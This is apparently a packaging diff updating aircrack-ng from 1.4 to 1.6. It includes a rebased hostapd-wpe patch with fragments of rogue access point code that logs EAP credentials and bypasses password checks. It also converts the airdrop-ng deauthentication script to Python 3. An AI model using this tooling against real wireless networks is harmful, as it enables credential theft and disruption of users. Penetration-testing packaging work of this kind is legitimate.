+@@ -1239,7 +1240,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
  endif
  endif
  
@@ -3378,7 +3378,7 @@
  
  all: verify_config $(ALL)
  
-@@ -1051,6 +1052,15 @@ $(DESTDIR)$(BINDIR)/%: %
+@@ -1278,6 +1279,15 @@ $(DESTDIR)$(BINDIR)/%: %
  
  install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
  
@@ -3394,7 +3394,7 @@
  ../src/drivers/build.hostapd:
  	@if [ -f ../src/drivers/build.wpa_supplicant ]; then \
  		$(MAKE) -C ../src/drivers clean; \
-@@ -1059,15 +1069,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
+@@ -1286,15 +1296,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
  
  BCHECK=../src/drivers/build.hostapd
  
@@ -3414,7 +3414,7 @@
  	@$(E) "  LD " $@
  
  NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
-@@ -1114,7 +1124,7 @@ lcov-html:
+@@ -1342,7 +1352,7 @@ lcov-html:
  
  clean:
  	$(MAKE) -C ../src clean
@@ -3423,19 +3423,19 @@
  	rm -f *.d *.gcno *.gcda *.gcov
  	rm -f lcov.info
  	rm -rf lcov-html
-diff -rupN hostapd-2.6/src/ap/beacon.c hostapd-2.6-wpe/src/ap/beacon.c
---- hostapd-2.6/src/ap/beacon.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/ap/beacon.c	2018-05-21 11:37:58.863577170 +0200
-@@ -30,7 +30,7 @@
- #include "hs20.h"
+diff -rupN hostapd-2.8/src/ap/beacon.c hostapd-2.8-wpe/src/ap/beacon.c
+--- hostapd-2.8/src/ap/beacon.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/ap/beacon.c	2019-04-22 17:02:28.637850106 -0400
+@@ -32,7 +32,7 @@
  #include "dfs.h"
  #include "taxonomy.h"
+ #include "ieee802_11_auth.h"
 -
 +#include "wpe/wpe.h"
  
  #ifdef NEED_AP_MLME
  
-@@ -817,6 +817,13 @@ void handle_probe_req(struct hostapd_dat
+@@ -865,6 +865,13 @@ void handle_probe_req(struct hostapd_dat
  	}
  #endif /* CONFIG_TAXONOMY */
  
@@ -3449,19 +3449,19 @@
  	res = ssid_match(hapd, elems.ssid, elems.ssid_len,
  			 elems.ssid_list, elems.ssid_list_len);
  	if (res == NO_SSID_MATCH) {
-diff -rupN hostapd-2.6/src/ap/ieee802_11.c hostapd-2.6-wpe/src/ap/ieee802_11.c
---- hostapd-2.6/src/ap/ieee802_11.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/ap/ieee802_11.c	2018-05-21 11:37:58.863577170 +0200
-@@ -45,7 +45,7 @@
- #include "mbo_ap.h"
- #include "rrm.h"
- #include "taxonomy.h"
+diff -rupN hostapd-2.8/src/ap/ieee802_11.c hostapd-2.8-wpe/src/ap/ieee802_11.c
+--- hostapd-2.8/src/ap/ieee802_11.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/ap/ieee802_11.c	2019-04-22 17:02:28.637850106 -0400
+@@ -52,7 +52,7 @@
+ #include "fils_hlp.h"
+ #include "dpp_hostapd.h"
+ #include "gas_query_ap.h"
 -
 +#include "wpe/wpe.h"
  
- u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid)
- {
-@@ -1418,8 +1418,8 @@ static u16 check_ssid(struct hostapd_dat
+ #ifdef CONFIG_FILS
+ static struct wpabuf *
+@@ -2475,8 +2475,8 @@ static u16 check_ssid(struct hostapd_dat
  	if (ssid_ie == NULL)
  		return WLAN_STATUS_UNSPECIFIED_FAILURE;
  
@@ -3472,10 +3472,10 @@
  		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
  			       HOSTAPD_LEVEL_INFO,
  			       "Station tried to associate with unknown SSID "
-diff -rupN hostapd-2.6/src/ap/ieee802_1x.c hostapd-2.6-wpe/src/ap/ieee802_1x.c
---- hostapd-2.6/src/ap/ieee802_1x.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/ap/ieee802_1x.c	2018-05-21 11:54:26.455559484 +0200
-@@ -729,6 +729,9 @@ static void handle_eap_response(struct h
+diff -rupN hostapd-2.8/src/ap/ieee802_1x.c hostapd-2.8-wpe/src/ap/ieee802_1x.c
+--- hostapd-2.8/src/ap/ieee802_1x.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/ap/ieee802_1x.c	2019-04-22 17:02:28.637850106 -0400
+@@ -768,6 +768,9 @@ static void handle_eap_response(struct h
  {
  	u8 type, *data;
  	struct eapol_state_machine *sm = sta->eapol_sm;
@@ -3485,7 +3485,7 @@
  	if (sm == NULL)
  		return;
  
-@@ -747,6 +750,16 @@ static void handle_eap_response(struct h
+@@ -786,6 +789,16 @@ static void handle_eap_response(struct h
  		       eap->code, eap->identifier, be_to_host16(eap->length),
  		       eap_server_get_name(0, type), type);
  
@@ -3502,9 +3502,9 @@
  	sm->dot1xAuthEapolRespFramesRx++;
  
  	wpabuf_free(sm->eap_if->eapRespData);
-diff -rupN hostapd-2.6/src/crypto/ms_funcs.h hostapd-2.6-wpe/src/crypto/ms_funcs.h
---- hostapd-2.6/src/crypto/ms_funcs.h	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/crypto/ms_funcs.h	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/crypto/ms_funcs.h hostapd-2.8-wpe/src/crypto/ms_funcs.h
+--- hostapd-2.8/src/crypto/ms_funcs.h	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/crypto/ms_funcs.h	2019-04-22 17:02:28.637850106 -0400
 @@ -9,6 +9,10 @@
  #ifndef MS_FUNCS_H
  #define MS_FUNCS_H
@@ -3516,9 +3516,9 @@
  int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
  			 const u8 *username, size_t username_len,
  			 const u8 *password, size_t password_len,
-diff -rupN hostapd-2.6/src/crypto/tls_openssl.c hostapd-2.6-wpe/src/crypto/tls_openssl.c
---- hostapd-2.6/src/crypto/tls_openssl.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/crypto/tls_openssl.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/crypto/tls_openssl.c hostapd-2.8-wpe/src/crypto/tls_openssl.c
+--- hostapd-2.8/src/crypto/tls_openssl.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/crypto/tls_openssl.c	2019-04-22 17:02:28.637850106 -0400
 @@ -21,6 +21,7 @@
  #include <openssl/opensslv.h>
  #include <openssl/pkcs12.h>
@@ -3535,7 +3535,7 @@
  
  #if !defined(CONFIG_FIPS) &&                             \
      (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) ||   \
-@@ -179,6 +181,10 @@ static int tls_add_ca_from_keystore_enco
+@@ -197,6 +199,10 @@ static int tls_add_ca_from_keystore_enco
  
  #endif /* ANDROID */
  
@@ -3546,7 +3546,7 @@
  static int tls_openssl_ref_count = 0;
  static int tls_ex_idx_session = -1;
  
-@@ -1347,7 +1353,12 @@ struct tls_connection * tls_connection_i
+@@ -1562,7 +1568,12 @@ struct tls_connection * tls_connection_i
  
  	conn->context = context;
  	SSL_set_app_data(conn->ssl, conn);
@@ -3560,7 +3560,7 @@
  	SSL_set_msg_callback_arg(conn->ssl, conn);
  	options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
  		SSL_OP_SINGLE_DH_USE;
-@@ -3257,6 +3268,10 @@ openssl_handshake(struct tls_connection
+@@ -4022,6 +4033,10 @@ openssl_handshake(struct tls_connection
  {
  	int res;
  	struct wpabuf *out_data;
@@ -3571,7 +3571,7 @@
  
  	/*
  	 * Give TLS handshake data from the server (if available) to OpenSSL
-@@ -3316,6 +3331,30 @@ openssl_handshake(struct tls_connection
+@@ -4130,6 +4145,30 @@ openssl_handshake(struct tls_connection
  	}
  	wpabuf_put(out_data, res);
  
@@ -3602,7 +3602,7 @@
  	return out_data;
  }
  
-@@ -3431,6 +3470,13 @@ struct wpabuf * tls_connection_encrypt(v
+@@ -4246,6 +4285,13 @@ struct wpabuf * tls_connection_encrypt(v
  		tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
  		return NULL;
  	}
@@ -3616,7 +3616,7 @@
  	res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
  	if (res < 0) {
  		tls_show_errors(MSG_INFO, __func__,
-@@ -3438,6 +3484,12 @@ struct wpabuf * tls_connection_encrypt(v
+@@ -4253,6 +4299,12 @@ struct wpabuf * tls_connection_encrypt(v
  		return NULL;
  	}
  
@@ -3629,7 +3629,7 @@
  	/* Read encrypted data to be sent to the server */
  	buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
  	if (buf == NULL)
-@@ -4331,3 +4383,69 @@ void tls_connection_remove_session(struc
+@@ -5268,3 +5320,69 @@ void tls_connection_remove_session(struc
  		wpa_printf(MSG_DEBUG,
  			   "OpenSSL: Removed cached session to disable session resumption");
  }
@@ -3699,9 +3699,9 @@
 +}
 +#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
 +
-diff -rupN hostapd-2.6/src/eap_server/eap_server.c hostapd-2.6-wpe/src/eap_server/eap_server.c
---- hostapd-2.6/src/eap_server/eap_server.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/eap_server/eap_server.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/eap_server/eap_server.c hostapd-2.8-wpe/src/eap_server/eap_server.c
+--- hostapd-2.8/src/eap_server/eap_server.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/eap_server/eap_server.c	2019-04-22 17:02:28.637850106 -0400
 @@ -23,7 +23,8 @@
  #define STATE_MACHINE_DATA struct eap_sm
  #define STATE_MACHINE_DEBUG_PREFIX "EAP"
@@ -3710,9 +3710,9 @@
 +//#define EAP_MAX_AUTH_ROUNDS 50
 +#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:)
  
- static void eap_user_free(struct eap_user *user);
+ /* EAP state machines are described in RFC 4137 */
  
-@@ -164,6 +165,8 @@ int eap_user_get(struct eap_sm *sm, cons
+@@ -161,6 +162,8 @@ int eap_user_get(struct eap_sm *sm, cons
  {
  	struct eap_user *user;
  
@@ -3721,7 +3721,7 @@
  	if (sm == NULL || sm->eapol_cb == NULL ||
  	    sm->eapol_cb->get_eap_user == NULL)
  		return -1;
-@@ -175,6 +178,11 @@ int eap_user_get(struct eap_sm *sm, cons
+@@ -172,6 +175,11 @@ int eap_user_get(struct eap_sm *sm, cons
  	if (user == NULL)
  	    return -1;
  
@@ -3733,9 +3733,9 @@
  	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
  				       identity_len, phase2, user) != 0) {
  		eap_user_free(user);
-diff -rupN hostapd-2.6/src/eap_server/eap_server_mschapv2.c hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c
---- hostapd-2.6/src/eap_server/eap_server_mschapv2.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/eap_server/eap_server_mschapv2.c hostapd-2.8-wpe/src/eap_server/eap_server_mschapv2.c
+--- hostapd-2.8/src/eap_server/eap_server_mschapv2.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/eap_server/eap_server_mschapv2.c	2019-04-22 17:02:28.637850106 -0400
 @@ -12,7 +12,7 @@
  #include "crypto/ms_funcs.h"
  #include "crypto/random.h"
@@ -3745,7 +3745,7 @@
  
  struct eap_mschapv2_hdr {
  	u8 op_code; /* MSCHAPV2_OP_* */
-@@ -291,7 +291,7 @@ static void eap_mschapv2_process_respons
+@@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons
  	size_t username_len, user_len;
  	int res;
  	char *buf;
@@ -3754,7 +3754,7 @@
  	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
  			       &len);
  	if (pos == NULL || len < 1)
-@@ -372,6 +372,8 @@ static void eap_mschapv2_process_respons
+@@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons
  		}
  	}
  #endif /* CONFIG_TESTING_OPTIONS */
@@ -3763,7 +3763,7 @@
  
  	if (username_len != user_len ||
  	    os_memcmp(username, user, username_len) != 0) {
-@@ -406,6 +408,11 @@ static void eap_mschapv2_process_respons
+@@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons
  		return;
  	}
  
@@ -3775,7 +3775,7 @@
  	if (os_memcmp_const(nt_response, expected, 24) == 0) {
  		const u8 *pw_hash;
  		u8 pw_hash_buf[16], pw_hash_hash[16];
-@@ -446,6 +453,8 @@ static void eap_mschapv2_process_respons
+@@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons
  		wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
  		data->state = FAILURE_REQ;
  	}
@@ -3784,9 +3784,9 @@
  }
  
  
-diff -rupN hostapd-2.6/src/eap_server/eap_server_peap.c hostapd-2.6-wpe/src/eap_server/eap_server_peap.c
---- hostapd-2.6/src/eap_server/eap_server_peap.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/eap_server/eap_server_peap.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/eap_server/eap_server_peap.c hostapd-2.8-wpe/src/eap_server/eap_server_peap.c
+--- hostapd-2.8/src/eap_server/eap_server_peap.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/eap_server/eap_server_peap.c	2019-04-22 17:02:28.637850106 -0400
 @@ -17,7 +17,7 @@
  #include "eap_common/eap_tlv_common.h"
  #include "eap_common/eap_peap_common.h"
@@ -3796,9 +3796,9 @@
  
  /* Maximum supported PEAP version
   * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
-diff -rupN hostapd-2.6/src/eap_server/eap_server_ttls.c hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c
---- hostapd-2.6/src/eap_server/eap_server_ttls.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/eap_server/eap_server_ttls.c hostapd-2.8-wpe/src/eap_server/eap_server_ttls.c
+--- hostapd-2.8/src/eap_server/eap_server_ttls.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/eap_server/eap_server_ttls.c	2019-04-22 17:02:28.641850115 -0400
 @@ -16,7 +16,7 @@
  #include "eap_server/eap_tls_common.h"
  #include "eap_common/chap.h"
@@ -3808,7 +3808,7 @@
  
  #define EAP_TTLS_VERSION 0
  
-@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
+@@ -537,9 +537,11 @@ static void eap_ttls_process_phase2_pap(
  		return;
  	}
  
@@ -3822,7 +3822,7 @@
  		wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
  		eap_ttls_state(data, FAILURE);
  		return;
-@@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
+@@ -602,8 +604,9 @@ static void eap_ttls_process_phase2_chap
  	chap_md5(password[0], sm->user->password, sm->user->password_len,
  		 challenge, challenge_len, hash);
  
@@ -3834,9 +3834,9 @@
  		wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
  		eap_ttls_state(data, SUCCESS);
  		eap_ttls_valid_session(sm, data);
-@@ -672,7 +675,9 @@ static void eap_ttls_process_phase2_msch
- 		nt_challenge_response(challenge, sm->user->password,
- 				      sm->user->password_len, nt_response);
+@@ -674,7 +677,9 @@ static void eap_ttls_process_phase2_msch
+ 		return;
+ 	}
  
 -	if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
 +	wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
@@ -3845,7 +3845,7 @@
  		wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
  		eap_ttls_state(data, SUCCESS);
  		eap_ttls_valid_session(sm, data);
-@@ -694,7 +699,7 @@ static void eap_ttls_process_phase2_msch
+@@ -696,7 +701,7 @@ static void eap_ttls_process_phase2_msch
  					     u8 *response, size_t response_len)
  {
  	u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
@@ -3854,7 +3854,7 @@
  	size_t username_len, i;
  
  	if (challenge == NULL || response == NULL ||
-@@ -779,6 +784,9 @@ static void eap_ttls_process_phase2_msch
+@@ -781,6 +786,9 @@ static void eap_ttls_process_phase2_msch
  	}
  
  	rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
@@ -3864,9 +3864,9 @@
  #ifdef CONFIG_TESTING_OPTIONS
  	{
  		u8 challenge2[8];
-diff -rupN hostapd-2.6/src/Makefile hostapd-2.6-wpe/src/Makefile
---- hostapd-2.6/src/Makefile	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/Makefile	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/Makefile hostapd-2.8-wpe/src/Makefile
+--- hostapd-2.8/src/Makefile	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/Makefile	2019-04-22 17:02:28.641850115 -0400
 @@ -1,5 +1,5 @@
  SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
 -SUBDIRS += fst
@@ -3874,9 +3874,9 @@
  
  all:
  	for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done
-diff -rupN hostapd-2.6/src/utils/wpa_debug.c hostapd-2.6-wpe/src/utils/wpa_debug.c
---- hostapd-2.6/src/utils/wpa_debug.c	2016-10-02 20:51:11.000000000 +0200
-+++ hostapd-2.6-wpe/src/utils/wpa_debug.c	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/utils/wpa_debug.c hostapd-2.8-wpe/src/utils/wpa_debug.c
+--- hostapd-2.8/src/utils/wpa_debug.c	2019-04-21 03:10:22.000000000 -0400
++++ hostapd-2.8-wpe/src/utils/wpa_debug.c	2019-04-22 17:02:28.641850115 -0400
 @@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU
  
  
@@ -3886,9 +3886,9 @@
  int wpa_debug_timestamp = 0;
  
  
-diff -rupN hostapd-2.6/src/wpe/Makefile hostapd-2.6-wpe/src/wpe/Makefile
---- hostapd-2.6/src/wpe/Makefile	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/src/wpe/Makefile	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/wpe/Makefile hostapd-2.8-wpe/src/wpe/Makefile
+--- hostapd-2.8/src/wpe/Makefile	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/src/wpe/Makefile	2019-04-22 17:02:28.641850115 -0400
 @@ -0,0 +1,8 @@
 +all:
 +	@echo Nothing to be made.
@@ -3898,9 +3898,9 @@
 +
 +install:
 +	@echo Nothing to be made.
-diff -rupN hostapd-2.6/src/wpe/wpe.c hostapd-2.6-wpe/src/wpe/wpe.c
---- hostapd-2.6/src/wpe/wpe.c	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/src/wpe/wpe.c	2018-05-21 11:53:09.579560861 +0200
+diff -rupN hostapd-2.8/src/wpe/wpe.c hostapd-2.8-wpe/src/wpe/wpe.c
+--- hostapd-2.8/src/wpe/wpe.c	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/src/wpe/wpe.c	2019-04-22 17:02:28.641850115 -0400
 @@ -0,0 +1,232 @@
 +/*
 +    wpe.c - 
@@ -4134,9 +4134,9 @@
 +    return wpe_hb_msg;
 +}
 +#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
-diff -rupN hostapd-2.6/src/wpe/wpe.h hostapd-2.6-wpe/src/wpe/wpe.h
---- hostapd-2.6/src/wpe/wpe.h	1970-01-01 01:00:00.000000000 +0100
-+++ hostapd-2.6-wpe/src/wpe/wpe.h	2018-05-21 11:37:58.863577170 +0200
+diff -rupN hostapd-2.8/src/wpe/wpe.h hostapd-2.8-wpe/src/wpe/wpe.h
+--- hostapd-2.8/src/wpe/wpe.h	1969-12-31 19:00:00.000000000 -0500
++++ hostapd-2.8-wpe/src/wpe/wpe.h	2019-04-22 17:02:28.641850115 -0400
 @@ -0,0 +1,54 @@
 +/*
 +    wpe.h -

aircrack-ng-1.4.tar.gz/scripts/Makefile.am -> aircrack-ng-1.6.tar.gz/scripts/Makefile.am Changed

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/Makefile.am -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/Makefile.am Changed

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop-ng -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/airdrop-ng Changed

@@ -21,9 +21,9 @@
 from binascii import a2b_hex
 try:
     import PyLorcon2
-except ImportError, e:
-    print "Did you read the readme? You seem to be missing PyLorcon2"
-    print e
+except ImportError as e:
+    print("Did you read the readme? You seem to be missing PyLorcon2")
+    print(e)
 
 
 class messages:
@@ -50,7 +50,7 @@
                 file.write(self.date+"-"+self.time+"\n")
                 file.write("Airdrop-ng Logfile\n")
                 file.close
-            except IOError,e:
+            except IOError as e:
                 self.logging = False
                 self.printError(["Could not open file "+self.logfile+"\n\n",
                     str(e)+"\n"])
@@ -62,9 +62,9 @@
         TYPE = type(message).__name__
         if TYPE == 'list':
             for line in message:
-                print line
+                print(line)
         elif TYPE == 'str':
-            print message
+            print(message)
         self.log(message,TYPE)
         
     def printError(self,error):
@@ -87,7 +87,7 @@
             return
         try:
             file = open(self.logfile,'a')
-        except IOError,e:
+        except IOError as e:
             self.logging = False
             self.printError(["Could not open file "+self.logfile+"\n",
                 str(e)+"\n"])
@@ -109,7 +109,7 @@
         """
         try:
             openFile = open(name,"r")
-        except IOError,e:
+        except IOError as e:
             message.printError("\nAirdrop-ng rule file "+name+" does not exist")
             sys.exit(-1)
         rules = openFile.xreadlines()
@@ -822,12 +822,12 @@
     count = 0
     try:
         cchannel = tx.get_channel()
-    except PyLorcon2.Lorcon2Exception ,e:
+    except PyLorcon2.Lorcon2Exception as e:
         message.printError(["\n Error Message from lorcon:",str(e),
             "Unable to get channel the wireless card is on"])
     try:
         tx.set_channel(channel) #set the channel to send packets on
-    except PyLorcon2.Lorcon2Exception ,e:
+    except PyLorcon2.Lorcon2Exception as e:
         message.printError(["\nError Message from lorcon:",str(e),
             "Unable to set channel card does not seem to support it",
             "Skipping packet"])
@@ -835,7 +835,7 @@
     while count != pktNum:
         try:
             tx.send_bytes(packet)
-        except PyLorcon2.Lorcon2Exception ,e:
+        except PyLorcon2.Lorcon2Exception as e:
             message.printMessage(['\nError Message from lorcon:',str(e),
             "Are you sure you are using the correct driver with the -d option?",
             "Or try ifconfig up on the card you provided and its vap."])
@@ -882,11 +882,11 @@
     function for lemonwedge intigration
     supports its show help call
     """
-    print "<"+"~"*59+">\n"      
-    print "Airdrop Module for rule based deauth"
-    print "This module requires airodump-ng to run"
-    print "Module options:\n"
-    print "\t? These need to be set"
+    print("<"+"~"*59+">\n")
+    print("Airdrop Module for rule based deauth")
+    print("This module requires airodump-ng to run")
+    print("Module options:\n")
+    print("\t? These need to be set")
 
 def firstLoad():
     """
@@ -916,13 +916,13 @@
     """
     Prints the usage to use airgraph-ng
     """
-    print "\n"+bcolors.OKBLUE+"#"*49
-    print "#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#"
-    print "#"*49+bcolors.ENDC+"\n"
+    print("\n"+bcolors.OKBLUE+"#"*49)
+    print("#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#")
+    print("#"*49+bcolors.ENDC+"\n")
 
 def commandUsage():
-    print "\nSample command line arguments:"
-    print "\npython airdrop-ng -i wlan0mon -t airodump.csv -r rulefile.txt\n"
+    print("\nSample command line arguments:")
+    print("\npython airdrop-ng -i wlan0mon -t airodump.csv -r rulefile.txt\n")
 
 def OUIupdate():
     """
@@ -1003,7 +1003,7 @@
             """
             tx = PyLorcon2.Context(options.card)
             tx.open_injmon()
-        except PyLorcon2.Lorcon2Exception ,e:
+        except PyLorcon2.Lorcon2Exception as e:
             message.printMessage(["\n",
                 e,"Interface %s does not exist" %(options.card)])
             sys.exit(-1)
@@ -1024,7 +1024,7 @@
                 message.printError("Please run airodump-ng-oui-update")
                 sys.exit(-1)
 
-        except ImportError,e:
+        except ImportError as e:
             message.printMessage(["\n",e,"ouiParser error"]) 
             sys.exit(-1)

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/__init__.py -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/airdrop/__init__.py Changed

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/libDumpParse.py -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/airdrop/libDumpParse.py Changed

@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python
 #airodump parsing lib
 #returns in an array of client and Ap information
 #part of the airdrop-ng project
@@ -23,13 +23,12 @@
 		try:
 			openedFile = open(file, "r")
 		except TypeError:
-			print "Missing Airodump-ng file"
+			print("Missing Airodump-ng file")
 			Exit(1)
 		except IOError:
-			print "Error Airodump File",file,"does not exist"
+			print("Error Airodump File",file,"does not exist")
 			Exit(1)
-		data = openedFile.xreadlines()
-		cleanedData = [line.rstrip() for line in data]
+		cleanedData = [line.rstrip() for line in openedFile]
 		openedFile.close()
 		return cleanedData
 	
@@ -49,7 +48,7 @@
 			except Exception:
 				stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID')
 		except Exception:
-			print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap"
+			print("You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap")
 			Exit(1)
 	
 		del cleanedDump[stationStart] #Remove the heading line
@@ -135,8 +134,8 @@
 		for key in (clients):
 			mac = clients[key] #mac is the MAC address of the client
 			if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
-				if AP.has_key(mac["bssid"]): # if it is check to see it's an AP we can see and have info on
-					if apClient.has_key(mac["bssid"]): 
+				if mac["bssid"] in AP: # if it is check to see it's an AP we can see and have info on
+					if mac["bssid"] in apClient: 
 						apClient[mac["bssid"]].extend([key]) #if key exists append new client
 					else: 
 						apClient[mac["bssid"]] = [key] #create new key and append the client

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/airdrop/libOuiParse.py -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/airdrop/libOuiParse.py Changed

@@ -71,7 +71,7 @@
         check for valid company name key
         """
         compMatch = re.compile(name,re.I)
-        if self.company_oui.has_key(name):
+        if name in self.company_oui:
             return True
         for key in self.company_oui.keys():
                 if compMatch.search(key) is not None:   
@@ -83,7 +83,7 @@
         check for a valid oui prefix
         """
 
-        if self.oui_company.has_key(name): 
+        if name in self.oui_company:
             return True
         else: 
             return False
@@ -106,7 +106,7 @@
         if type(companyLst) is list:
             for name in companyLst:
                 compMatch = re.compile(name,re.I)
-                if self.company_oui.has_key(name):
+                if name in self.company_oui:
                     oui.extend(self.company_oui[name])
                 else:
                     for key in self.company_oui:
@@ -114,7 +114,7 @@
                             oui.extend(self.company_oui[key])
 
         elif type(companyLst) is str:
-            if self.company_oui.has_key(companyLst):
+            if companyLst in self.company_oui:
                 oui = self.company_oui[companyLst]
             else:
                 
@@ -155,7 +155,7 @@
         """
         company_oui = {}
         for oui in self.oui_company:
-            if company_oui.has_key(self.oui_company[oui][0]):
+            if self.oui_company[oui][0] in company_oui:
                 company_oui[self.oui_company[oui][0]].append(oui)
             else:
                 company_oui[self.oui_company[oui][0]] = [oui]

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/doc/Makefile.am -> aircrack-ng-1.6.tar.gz/scripts/airdrop-ng/doc/Makefile.am Changed

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/Makefile.am -> aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/Makefile.am Changed

aircrack-ng-1.4.tar.gz/scripts/airgraph-ng/airgraph-ng -> aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/airgraph-ng Changed

@@ -1,21 +1,20 @@
 #!/usr/bin/env python
-#python 3.0 support
-from __future__ import print_function
+
 
 __author__ = 'Ben "TheX1le" Smith'
 __email__  = 'thex1le _A_T_ remote-exploit.org'
 __website__= 'remote-exploit.org'
 __date__   = '05/18/2011'
-__version__= '2.0.1'
+__version__= '2.0.2'
 __file__   = 'airgraph-ng'
 __data__   = 'This is the main airgraph-ng file'
 import subprocess
-import sys, optparse, os
+import sys, argparse, os
 import pdb
 
 try:
     from graphviz import *
-except ImportError, error:
+except ImportError as error:
     raise Exception("Your airgraph-ng installation is broken, could not import libraries: %s" %(error))
 
 path = libOuiParse.path
@@ -34,13 +33,15 @@
     """
     Class for creating graphviz .dot config files
     """
-    def __init__(self, file_):
-        ret = libDumpParse.airDumpParse().parser(file_)
+    def __init__(self, csv_, png_):
